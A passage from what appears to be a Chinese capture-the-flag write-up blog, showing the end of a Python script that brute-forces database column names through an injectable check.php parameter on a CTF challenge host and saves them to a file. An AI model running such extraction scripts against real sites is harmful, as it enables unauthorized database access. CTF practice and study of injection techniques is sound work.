f.write(f"第{i + 1 } 列: {column} \n" ) print (f"[+] 文本格式结果已保存到: {txt_filename} " ) def main (): TARGET_URL = "http://019aa60b-289c-7887-a11f-1c264986b71b.geek.ctfplus.cn/check.php?name=" DELAY = 0.1 extractor = AllColumnsExtractor( target_url=TARGET_URL, delay=DELAY ) column_names = extractor.run() if column_names: print (f"\n[+] 下一步: 提取所有列的数据" ) if __name__ == "__main__" : main()
这个脚本就是爆破出列名而已
< NEWER
fenjing(焚靖)
OLDER >
xss-labs wp